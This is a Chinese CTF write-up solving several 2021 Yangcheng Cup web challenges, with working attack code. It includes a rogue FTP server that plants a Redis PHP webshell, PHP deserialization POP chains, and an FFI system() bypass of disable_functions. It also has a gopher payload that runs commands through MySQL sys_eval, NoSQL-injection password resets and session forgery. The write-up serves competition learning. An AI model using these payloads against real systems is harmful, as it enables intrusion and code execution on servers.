天天看點

[WP]2021羊城杯-Web部分

文章目錄

  • ​​寫在前面​​
  • ​​Web​​
  • ​​Cross The Side​​
  • ​​Checkin_Go​​
  • ​​Only 4 (非預期解法)​​
  • ​​Only 4 (預期解法)​​
  • ​​NO SQL​​
  • ​​EasyCurl​​

寫在前面

這次拿了第一還是比較開心的,一晚上沒睡覺…

Web

Cross The Side

版本資訊Laravel v8.26.1 (PHP v7.4.15)

[WP]2021羊城杯-Web部分

目錄掃描

[WP]2021羊城杯-Web部分

應該是開啟了redis

[WP]2021羊城杯-Web部分

聯系版本号,嘗試debug-rce

[WP]2021羊城杯-Web部分

既然有file_get_contents與file_put_contents,嘗試ftp passivemode 成功出網了

那麼就考慮我們将使用FTP協定的被動模式讓file_get_contents()在我們的伺服器上下載下傳一個檔案,當它試圖使用file_put_contents()把它上傳回去時,我們将告訴它把檔案發送到127.0.0.1:6379。

這樣,我們就可以向目标主機本地的Redis發送一個任意的資料包,進而執行代碼,造成SSRF

import socket
from urllib.parse import unquote

payload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%249%0D%0Aindex.php%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 1235
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

sk2 = socket.socket()
sk2.bind((host, 1236))
sk2.listen()

count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20)) 
    if count == 1:
        conn.send(b"220 ready\n")
    else:
        conn.send(b"200 ready\n")

    print(conn.recv(20))   
    if count == 1:
        conn.send(b"215 \n")
    else:
        conn.send(b"200 \n")

    print(conn.recv(20))  
    if count == 1:
        conn.send(b"213 3 \n")  
    else:
        conn.send(b"300 \n")

    print(conn.recv(20))  
    conn.send(b"200 \n")

    print(conn.recv(20))   
    if count == 1:
        conn.send(b"227 xx,xxxx\n") 
    else:
        conn.send(b"227 127,0,0,1,24,235\n")  

    print(conn.recv(20))  
    if count == 1:
        conn.send(b"125 \n") 
        print("建立連接配接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("斷開連接配接!")
    else:
        conn.send(b"150 \n")
        print(conn.recv(20))
        exit()
    if count == 1:
        conn.send(b"226 \n")
    conn.close()
    count += 1      
[WP]2021羊城杯-Web部分

通路shell.php,沒過濾直接起飛讀flag就行

[WP]2021羊城杯-Web部分

Checkin_Go

看名字就知道是golang的,進去就看到驗證碼,第一眼以為填寫六位以後的,結果是字元串

[WP]2021羊城杯-Web部分

簡單爆破登入

import string
import hashlib


strings = string.ascii_letters + "0123456789"

for i in strings:
    for j in strings:
        for k in strings:
            for l in strings:
                for z in strings:
                    for x in strings:
                        tmp = str(i)+str(j)+str(k)+str(l)+str(z)+str(x)
                        if hashlib.md5(tmp.encode()).hexdigest()[:6] == "4bf18e":
                            print(tmp)
                            exit(0)      

老規矩嘗試admin直接登陸,密碼似乎随意不檢驗

[WP]2021羊城杯-Web部分

需要繞過admin

[WP]2021羊城杯-Web部分
[WP]2021羊城杯-Web部分

之後又發現了,session的key是僞随機數。沒有設定随機數種子。是系統固定的。

[WP]2021羊城杯-Web部分
[WP]2021羊城杯-Web部分

每次運作都是這個猜測考點是session僞造了,使用https://github.com/EddieIvan01/secure-cookie-faker 把僞造session即可

[WP]2021羊城杯-Web部分

解碼得到結構

[WP]2021羊城杯-Web部分

設定密鑰加密

[WP]2021羊城杯-Web部分

成功得到admin

[WP]2021羊城杯-Web部分
[WP]2021羊城杯-Web部分

因為money和價格都做了簽名操作,不知道secret。是以不能直接改。這裡可以整數溢出price到0,就可以購買flag了。加價格 0xffffffff-price+1.

[WP]2021羊城杯-Web部分
[WP]2021羊城杯-Web部分

成功得到flag

[WP]2021羊城杯-Web部分

Only 4 (非預期解法)

發現 secret.php讀一讀,

[WP]2021羊城杯-Web部分

嘗試一下6和8有,

[WP]2021羊城杯-Web部分

8是日志,這不直接一把梭

[WP]2021羊城杯-Web部分

日志包含,出了phpinfo

[WP]2021羊城杯-Web部分

嘗試​

​readfile(/flag)​

​拿到flag

[WP]2021羊城杯-Web部分

Only 4 (預期解法)

掃一掃有驚喜,還好字典強大,之前自己補充過一點

[WP]2021羊城杯-Web部分

讀一下php://filter/convert.base64-encode/resource=serialize.php

<?php
class start_gg 
{
        public $mod1; 
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call 
{
        public $mod1; 
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct 
{
        public $mod1; 
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func 
{
        public $mod1; 
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字元串拼接".$this->mod1;
        } 
}
class string1 
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{

        
        public function get_flag()
        {
                
                echo highlight_file('secret.php');
        }
}


?>      

啊這,套娃都能套,先構造反序列化鍊子

<?php
class start_gg
{
    public $mod1;
//    public $mod2;
    public function __construct(){
        $this->mod1 = new Call();
    }

}
class Call
{
    public $mod1;
//    public $mod2;
    public function __construct(){
        $this->mod1 = new funct();
    }

}
class funct
{
    public $mod1;
//    public $mod2;
    public function __construct(){
        $this->mod1 = new func();
    }


}
class func
{
    public $mod1;
//    public $mod2;
    public function __construct(){
        $this->mod1 = new string1();
    }

}
class string1
{
    public $str1;
//    public $str2;
    public function __construct(){
        $this->str1 = new GetFlag();
    }

}
class GetFlag
{


    public function get_flag()
    {

//        echo "213221321";
    }
}

echo serialize(new start_gg());


?>      

接下來看繞過的部分

過濾的邏輯是

$url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/Flag/",$value)) {
            die('not hit');
            exit();
        }
    }      

簡簡單單自己測試

[WP]2021羊城杯-Web部分

百度上搜一搜

[WP]2021羊城杯-Web部分

繞過也很容易多加個/即可

[WP]2021羊城杯-Web部分

四字元rce而已

[WP]2021羊城杯-Web部分

看看目前目錄最前面是i開頭

[WP]2021羊城杯-Web部分

寫一個cat進去

[WP]2021羊城杯-Web部分

直接讀就行了簡單的

[WP]2021羊城杯-Web部分

NO SQL

先是進行了一系列的黑盒測試後發現requestsreset這裡存在注入

發現可以用正則比對,發現User長度是7

[WP]2021羊城杯-Web部分

通過爆破讀到Username是Sangfor,猜測考點可能是登陸

[WP]2021羊城杯-Web部分

突然發現有一個backup.zip,唉之前咋沒讀到呢,配合​

​$func​

​​讀,現在已經有了使用者名Sangfor就不必再查了,擷取token即可友善改密碼為​

​nosqlbaibai2333​

[WP]2021羊城杯-Web部分

同樣的方式,可以看見這裡成功獲得了token

[WP]2021羊城杯-Web部分

接下來配合resetpasswd,可以看見這裡token校驗通過就可以改密碼

[WP]2021羊城杯-Web部分

修改密碼後,背景登陸成功

[WP]2021羊城杯-Web部分

發現了什麼說在GPG_KEYS裡面

[WP]2021羊城杯-Web部分

但是這裡啥都沒有

[WP]2021羊城杯-Web部分

發現有一個finder功能,

[WP]2021羊城杯-Web部分

可以随意修改檔案

[WP]2021羊城杯-Web部分

簡簡單單搞個一句話木馬看看,拿到GPG_KEYS并不是flag被騙了

[WP]2021羊城杯-Web部分

通過蟻劍可以發現flag似乎在根目錄,但是沒有權限

[WP]2021羊城杯-Web部分

同時發現disable_functions禁用了很多

[WP]2021羊城杯-Web部分

嘗試UAF等無果後,并且是Apache的也不能打fastcgi之類的,之後發現FFI可以繞過

<?php
$ffi = FFI::cdef("int system (const char* command);");
echo $ffi->system($_POST[1]);
?>      

沒有回顯那就把指令結果輸出到web目錄通路,測試成功bypass disable_functions

[WP]2021羊城杯-Web部分

為了友善操作直接反彈個shell

[WP]2021羊城杯-Web部分

不能suid提權

[WP]2021羊城杯-Web部分

簡單進行資訊搜集,用了各種核心洞沒打通,果斷棄坑了唉

[WP]2021羊城杯-Web部分

比賽完後發現tmp目錄下這個檔案明顯不一樣,我麻了啊早點看到啊

[WP]2021羊城杯-Web部分

發現是目錄

[WP]2021羊城杯-Web部分

拿到了flag,有點被惡心到了

[WP]2021羊城杯-Web部分

EasyCurl

common.php.bak得到源碼,掃目錄得到app檔案

[WP]2021羊城杯-Web部分

得到admin密碼是R1nd0_1s_n3k0

[WP]2021羊城杯-Web部分

之後可以通路admin.php了

[WP]2021羊城杯-Web部分

同時有個log檔案,雖然暫時沒用

[WP]2021羊城杯-Web部分

回到上面即可,接下來簡單生産一個類測試

<?php

class User
{
    public $username;
    private $password;


    public function __construct()
    {
        $this->username="admin";
        $this->password=md5("R1nd0_1s_n3k0");

    }


}

echo urlencode(serialize(new User()));      

出現了admin

[WP]2021羊城杯-Web部分

發現沒有校驗很奇怪

[WP]2021羊城杯-Web部分

這裡也寫了log進去感覺有東西看到兩個.log

[WP]2021羊城杯-Web部分

猜測調用write_log功能

[WP]2021羊城杯-Web部分

經過我不斷的猜測,發現可以觸發toString,畢竟列印了​

​username​

​ 附上pop鍊利用腳本

<?php 
class file_request
{
    public $url;
    private $content;
    function __construct()
    {
        $this->content="";
        $this->url="gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%19%00%00%00%03%73%65%6c%65%63%74%20%73%79%73%5f%65%76%61%6c%28%22%6c%73%20%2f%22%29%3b%01%00%00%00%01";
    }
}
class cache_parser
{
    public $user;
    public $default_handler;
    function __construct($opt)
    {
        if($opt==1)
        {
            $this->user=new User(2);
            $this->logger=new cache_parser(2);
        }
        elseif($opt==2)
        {
            $this->default_handler=new file_request();
        }
    }
}
class User
{
    public $logger;
    public $session_id;
    function __construct($opt)
    {
        //toString 觸發
        if($opt==1)
            $this->username=new cache_parser(1);
        //$this->user->session_id
        elseif($opt==2)
            $this->session_id='fuck';
    }
}


echo urlencode(serialize(new User(1)));
?>      

成功讀取到了各個檔案,flag不在根目錄不叫flag

[WP]2021羊城杯-Web部分

可以ssrf,gopherus不知道為什麼直接指令行輸入結果很少,總出錯煩死了,肯定是gopherus生成的payload的問題,我把gopherus改了為固定輸入

[WP]2021羊城杯-Web部分

udf提權按照這篇文章

​​ https://www.sqlsec.com/2020/11/mysql.html#toc-heading-15​​ 發現根目錄有readflag

[WP]2021羊城杯-Web部分